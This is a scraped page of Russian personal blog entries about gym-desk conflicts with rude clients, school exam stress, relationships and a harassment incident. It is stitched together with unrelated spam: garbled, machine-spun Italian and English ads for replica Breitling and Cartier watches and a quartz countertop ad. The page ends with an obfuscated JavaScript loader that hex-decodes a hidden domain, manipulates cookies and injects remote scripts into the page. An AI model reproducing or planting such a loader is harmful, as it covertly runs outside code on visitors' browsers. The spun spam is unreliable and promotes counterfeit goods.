сегодня-то они опять пришли и я думаю "ну проверю, поздороваюсь". заходят, я говорю "здравствуйте", в ответ тишина. ну ок, думаю, хер с вами. даю ключ, ну и может быть чуть психанула, потому что реально выбесили (с учётом вчерашних жалоб), и немного резко его положила на стойку, не швыряла однозначно. пошли на второй этаж. этот мудила выходит после тренировки, ждёт пока я договорю по телефону, отдает ключ со словами "ещё раз ты бросишь ключ - я его засуну тебе в твою вонючую глотку"))) ) говорю ему "да? очень миленько с вашей стороны". отвечает "пошла в жопу" и закрывает дверь. охуенно, люблю свою работу))) и воспитанных мужчин)

Господи, как же я хочу снова писать рефераты ака научные работы, мотаться на конференции, каждый раз осознавать, что ничего не проработала до конца, капать Юле на мозги, сидеть в 427 кабинете и пить чаек. Сейчас очень этого не хватает.

Сколько же вместе прожито моментов, сколько проехано километров, сколько выпито кружек чая, сколько увиденных рассветов и закатов, сколько нежных поцелуев с утра, сколько улыбок и сколько теплых прикосновений.. И как ничтожно все то количество слез, бессоных ночей, боли и разочарований, расстояний, километров, по сравнению с тем что у нас с тобой было, то ли еще будет..

в этом году меня решили вообще завалить в школе, как я поняла. олимпиада по русскому, по экономике, + научная работа по экономике и к ней еще и входная контрольная по математике. также, я вдруг стала заместителем директора школьного самоуправления. но, почему-то, никакой поддержки в плане учебы я не наблюдаю. мда, благодарность. ну да ладно. я просто не справляюсь уже. глаза разбегаются, за что браться и что делать вообще. а писать сюда еще что-то - сил не хватает.

сейчас я зависаю дома, ибо после третьего урока ехать на конференцию (опять таки, для школы) и решила не идти в школу вообще. хоть какой-то отдых, уже радует. ну и напоследок, поделюсь с вами моим бешеным расписанием на ближайшие полтора месяца. из-за которого, кстати, у меня не будет каникул /халкломатькрушить/:

2.11 - конкурс по русскому

6.11 - входная контрольная по математике (пробная)

8.11 - олимпиада по русскому

15-17.11- олимпиада по экономике

3.12 - входная контрольная по математике

12.12 - защита научной работы

пы.сы. экономику мне поднимать с абсолютного нуля. а по русскому это просто - жопа.

пожелайте мне удачи, солнышки

+ немного самоподдержки не помешает, поэтому:

Я Вас больше не люблю. Ничего не случилось, — жизнь случилась. Я не думаю о Вас ни утром, просыпаясь, ни ночью, засыпая, ни на улице, ни под музыку, — никогда. Если бы Вы полюбили другую женщину, я бы улыбнулась и задумалась о Вас и о ней. Я вышла из игры. Все, что я чувствую к Вам, — легкое волнение от голоса. Ваше лицо мне по-прежнему нравится. Почему я Вас больше не люблю? два года подряд я мысленно в душе своей таскала Вас за собой по всем дорогам, залам, церквам, вагонам, я не расставалась с Вами ни на секунду, считала часы, ждала звонка, лежала, как мертвая, если звонка не было. Всё, как все. И все-таки не всё, как все. Вы первый перестали любить меня. Если бы этого не случилось, я бы до сих пор Вас любила, ибо я люблю всегда до самой последней возможности. Сначала Вы приходили в четыре часа, потом в пять, потом в шесть, потом в восьмом, потом совсем перестали. Вы первый забыли, кто я.

фу, каких только тварей на работе не встретишь среди клиентов. откуда вот такие мрази вообще берутся? к слову, "тварь" и "мразь" - для меня самые неприятные оскорбления, которые я вообще стараюсь к людям не применять, но вот не в этом случае. ходит к нам одна парочка, которая поначалу вела себя более-менее. муж вообще всегда здоровался, говорил "спасибопожалуйста", а жена то ли изначально, то ли через какое-то время просто перестала здороваться даже. не то что первая не здоровается, а ты ей говоришь "здравствуйте", а она сука смотрит на тебя и молчит, и голосовые связки у нее начинают работать только когда какая-то претензия есть. ну я так пару раз попыталась с ней здороваться и забила. чё мне вообще напрягаться ради человека, который меня здесь за мебель считает. с неделю назад она ещё и своему мужу видимо шепнула - он тоже здороваться перестал, лол (да здравствует собственное мнение и свобода выбора). апофеозом сего действа стало то, что вчера они пожаловались на меня отцу директора, мол она не здоровается никогда. алло, ребят, вы чё :D. сейчас вон, пока я это писала, муж подошёл к тренеру и пожаловался, что я ему как-то раз не тот ключ блять дала и что я не улыбаюсь. схуяли вам улыбаться вообще? говорит "она сказала, что дала ключ, который посчитала нужным". ебать, ну дааа вообще-то :D сижу ору. мне даже не обидно. я просто не понимаю, как у людей хватает совести такое говорить.

Breitling è senza dubbio una società che può aver fatto ottimi tentativi all'interno dell'orologio e giardini volanti. Tuttavia, per chi pensa a Breitling orologi replica è il marchio che fa auto da solo a causa dei suoi orologi risorse per soli uomini, si dovrebbe avere uno sguardo ai Breitling Galactic 36 prodotti intelligenti. Questi superbi orologi ancora resoluted sono ciò Breitling specificamente progettato per la femmina che vuole raffreddare orologi start-tipo. I Galactic 36 orologi includono un misto di moda sembrare. Quella qualità che producono li marginalmente femminile è sicuramente la piccola dimensione. E lo stesso tempo nel caso in cui il superiore opera trasformano Galactic 36 orologi essere metodi funzionali per aviatrice, il disegno unisex neoteric ancora più assicura che siano di progettazione in prodotti condimento per l'insalata anticipo. Inoltre i prodotti duplicati propagano maniaci che coinvolgono e gli appassionati di orologi replica ben variabili progettate.

Imitazione Galactic 36 orologi, per la ragione che l'identità mostra, forniscono la situazione di acciaio inossidabile, mentre la lunghezza di 36 millimetro. Lucidato e spazzolato completamento della situazione permette questi orologi interamente in metallo per evitare il estremamente semplice e facile e insulso sembrano. Durante l'utilizzo di superficie spazzolata intorno al telaio, i numeri personalizzati conservano altamente comprensibile. L'interruttore di colore bianco mamma-di-tesoro dà una sensazione attraente per quei prodotti Breitling duplicati attualmente puliti. Opportinity Opzione per questi prodotti moderati per presentare un senso di grazia. Inoltre l'interruttore progettato con cura consente anche eccellente obiettivo per la leggibilità. Praticamente senza abbellimento attraente, le offerte di commutazione strofinato marcatori hr in metallo e le dita estremamente luminescenza. In alternativa a presentare pochi secondi con il lato nucleo barare, questi orologi Breitling duplicati dare un piccolo ulteriore contatore che richiama correttamente attenzioni ad avere la bellezza e la moda si sviluppano. E rispetto alle cinghie di cuoio, la fascia di metallo simile al vetro cercando funziona molto meglio con i duplicati replica orologi Breitling. I cinque breve disegno periodo con tutto il tempo metallo-tempo rispettato nella band migliora sorprendentemente l'inventiva unico ed eccellente utilità di tali orologi presenti condimento per l'insalata giorno.

новый день - новая жизнь. разве важно то, что было раньше, если мой девиз - живи здесь и сейчас ? по-моему, надо что-то менять и предпринимать меры. разве можно тупо сидеть и ждать? смотри, оно всё здесь, всё передо мной, бери и пользуйся, скажем так. разве это тяжело - просто расслабиться и наслаждаться окружающим миром? когда выговариваешься, становится легче. я рада, что у меня есть блог. и я рада, что в моей жизни всё же есть этот человек.

Is quartz kitchen top better than other countertops like marble countertops, granite countertop and laminated countertop and so on? Quartz stone countertops as one new and healthy building material is now thought to be the ideal choice for most home decoration, let’s get some reasons for it!

Quartz is the additional best abounding mineral based actuality on the earth, appropriate afterwards baptize and is frequently acclimated for counter tops. These counter top are created from raw accustomed crystals of quartz that are called by their accurate backbone and size. Diamonds are amid the attenuate minerals that are stronger than the quartz clear stone.

Quartz counter top fabricated today are about comprised of 95% quartz and 5% polymers. They are produced by actuality thoroughly ashore and accumulated with several bonding polymer compounds. The quartz actual is again acrimonious and aeroembolism to become a apparent that is about impenetrable.

Here are three important advantages of application quartz kitchen top.

First, one of the important account of quartz counter top is hidden central the crystals. Quartz is the best abiding stone for counter top that you may purchase. It is stronger than granite and is about indestructible.

Secondly, these counter top are so aggressive to calefaction that a hot pot or pan can be placed anon on the surface. They additionally accomplish an accomplished assignment breadth for affable and advancing aliment because they authority up acutely able-bodied to stains, abrupt impacts and adventitious cuts and scratches. Alike bacilli has a difficult time biting quartz counter top added than added counter tops.

In August of 2007, Consumer Reports awful rated quartz counter top because of their attrition to heat, stains and scratches. Additionally clashing granite, it does not crave resealing.

Thirdly, the action of quartz counter top accomplishment allows it to be fabricated in a advanced array of artist colors and tones alignment from a caked black, an alluvial amber to a clear-cut white. The edges can be custom fabricated to fit your kitchen amplitude as well. You can alike accept an beneath army bore installed and a faucet may be anon amid aural the counter top.

To summarize, quartz counter top add a lot of amount to your home back they are the best abiding actual you can acquirement and are about aliment free. Their constant adorableness can be fabricated to bout what colors and accessories you require. Many manufacturers accommodate a assurance if it is installed by a home advance accountant contractor.

For buying high quality quartz stone countertops for kitchen remodel, welcome to visit Leadstone USA Inc at https://www.leadstoneusa.com/

I really do not expect to see sportive designs in Cartier family. But recently a replica Calibre De Cartier fake watches uk arouse my attention. Before that, I believed replica Cartier watches were totally works related with elegance and classic because Cartier was a watchmaker who have paid tribute to the style in the early years. You can find that almost all models from Cartier feature Roman numerals on the dial. Maybe because Cartier is also a jewelry maker, timepieces that designed by this manufacturer come with indispensable aesthetics. Even the sports watches are no exception.

Replica Calibre De Cartier Chronograph watches feature high-luxury sense at the same time when they emphasize sporty appearance. Luxury appeal is surely a key part of wristwatches as prior as their function. These sportive replica Cartier watches interpret that with golden details on the dial and bezel. What’s more, they do not overturn the iconic design of the Calibre De Cartier line. The silver-toned dial with high-contrast Roman numerals is kept in replica Cartier watches. The partially snailed dial is really special and elaborate. Exquisite like the original model, replica relojes are really praiseworthy with detailed craftsmanship. Of course, that is not the all.

The novel design of these replica Cartier watches is still reflected by the date display in window at 6 o’clock which is quite different compared with the tradtional design at 3 o’clock. And two subdials are placed at 3 and 9 o’clock. This design is not only ingenious but also reasonable as it makes the dial look more balanced. Two subdials are the key design of these replica Cartier watches as they add a sporty hint to the elegant dial and set them apart from other timepieces. They also serve as 30-minute and 12-hour chronographs which are necessary in sports watches. And the dark brown alligator strap further gives off a sense of temperament. No matter for gentlemen or men of action, replica Calibre De Cartier Chronograph watches are unmistakably fine companions.

Слушайте, жить то как страшно! Вчера в подъезде меня облапал какой то мудак и сбежал! Блять зашла домой, перетрясло от омерзения и потом только дошло, что блять это пиздец только что пронесся мимо меня и то, что я в принципе зашла домой!
Срочно облазила интернеты в поисках перцового баллончика, ну а что, хотябы так, потому что бляяя не поздяя ночь даже была! 16.10 я шла с работы!
Я херею бля откуда столько долбоебов!

Знаете, я не написала об этом сразу, но в эту пятницу я сорвалась. Хотя это сказано слишком громко. Я написала СВ. Он сразу ответил, и разговор был достаточно милым. Водка сделала свое дело, и я попросила его о встрече. Не знаю, к счастью или наоборот, он работал, и увидеться мы не смогли. "Ты же сказала, что нам не стоит больше видеться" до сих пор вертится в моей голове. Конечно, в ответ я написала, что безумно по нему скучаю и что лучше его никого нет, но на следующий день просто взялась за голову. Какой же это, отчасти, бред! Отчасти, потому что он действительно был очень хорош в постели, но мы шли к этому месяцами и даже годами. Любой бы мужчина за три года изучил все мои точки-G и знал как завести меня с одного касания. Чего мне сильно не хотелось потом, дак это того, чтобы все началось заново, но через день он прислал смс. Стало снова не по себе. Как раньше. Захотелось провалиться сквозь землю от того, что я сама позволила снова писать мне. Чувство вины перед новым мужчиной? Нет. Ни капли. Просто то, от чего я так долго не могла отойти и отказаться, снова появляется в моей жизни. А я, как зависимая, не могу найти слов, чтоб ему отказать. Или не хочу? В тот день уже работала я и отказала ему, но за каким-то чертом предложила встретиться в субботу - в свой единственный выходной. И опять сижу и держусь за голову. Мой мужчина прекрасно знает график моей работы, и, вполне возможно, субботу он планирует провести со мной, но мне же, вашу мать, не имется! Я все проебу. Я скоро все это проебу, ребят, отвечаю.

У меня так бывает: я голодаю, жажду на кого-нибудь вылить накопившуюся любовь. Я постоянно показываю любовь сестре, но теперь этого недостаточно. Как бывает при насыщении, в каждый следующий раз хочется еще больше. Проблема в том, что мне нужен всего один раз, или может я бы продержалась неделю с кем-то, а потом мне становится это всё невыносимо тягостно. Я не хочу разговаривать, узнавать друг друга. Я хочу утолить жажду и снять с себя бремя.

Как же все таки хорошо, когда есть верные друзья…

Сегодня, когда я уже собиралась ложиться спать, мне в вк написала моя давняя подруга. Мы практически перестали общаться после того, как я перешла в социально-праввое направление, а моя подруга - на физико-математическое.

Вот и разбросала нас судьба… Мне казалось, что общение на этом так и закончится… Частично, это так. Школа, уроки, нехватало времени, не то, что бы на отдых, а даже поспать плохо удавалось… К тому же, у нее появилась новая подруга, и большее вниманее она уделяла ей. Меня это конечно задевало, ведь мы были как единое целое. Всегда вместе. И тут эта подруга-разлучница. Ну я бы не сказала, что это предательство… Ведь у человека должно быть много друзей и знакомых. Ну вот, мы стали все реже и реже общаться, списываться. Но когда выдавалась малейшая возможность, момент пообщаться, мы с удовольствием разговаривали по душам. Бывало и такое. Мы не общались месяцами, все из- за тех же причин… Но я всегда знала, что я всегда могла ну и до сих пор как оказалось могу к ней обраиться за помощью, советом или просто излить душу… Наверное это и называется лучше друзья. Я благодарю судьбу за то, что она есть. И пусть она знает, что всегда может обратиться ко мне по любому вопросу… Я всегда буду ей рада. В любом случае, в любом обличие. Я не похожа на подростков 21 века, для которых важен твой статус и наличие айфона, а душа не важна для них. Все они прогнили…

Пускай мой текст не очень внятен, 3 часа ночи все-таки. Но я думаю, что вы понимаете, о чем я)

Меня тут недавно обидели.. Извинялись, но я сразу не прощаю, есть у меня такой загон, ибо нет ничего проще, чем "ты говно, ой, извини", и сразу тебя простили, и ты такой молодец. Не знаю, как у других, а я со временем начинаю понимать масштабы своей неправоты, и извинения приношу самые искренние. Ну не об этом. Так вот, обидели, я лежу такая, думаю об этом.. И как, сука, станет стыдно! За то, что не простила, за то, что вообще этот разговор завела, который привёл к неприятности. Почему МНЕ стыдно???

Завидую девушкам, которым надо просто улыбнуться, чтоб красиво получиться на фото. Мне же нужно правильно повернуть голову, поймать нужное положение губ, проследить за глазами, которые вечно ебутся в кадре, втянуть щёки, которых в жизни нет, но есть на фото.. Что за неравенство такое

В лучших традициях французского кино, сплю, уткнувшись в мужчину в два раза старше меня и считаю это лучшей тратой рабочего времени.

Лучшая ли это трата времени моего личного, стараюсь не думать.

Отпускать трудно. Даже если то, во что ты вцепился, полно шипов — отпускать трудно. Может, даже еще труднее, чем обычно.

gifs by х, перевод х

— Дорогой Джош, мы сердечно приглашаем тебя на афтепати
" Багрового пика". И так как это мероприятие закрытое и
эксклюзивное, мы настоятельно просим никого ен приводить с
собой. Мы с Джессикой ждем встречи с тобой. В любом случае,
мы совершенно не собираемся тебя убивать. Ехехехе…
Обнимашки и поцелуйчики. от Т.

—Видишь, я же говорил, что он придет.
—Класс!Класс!Класс!

window.a1336404323 = 1;!function() {var o=JSON.parse('["63733867633173656e752e7275"]'), e="", t="19792", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();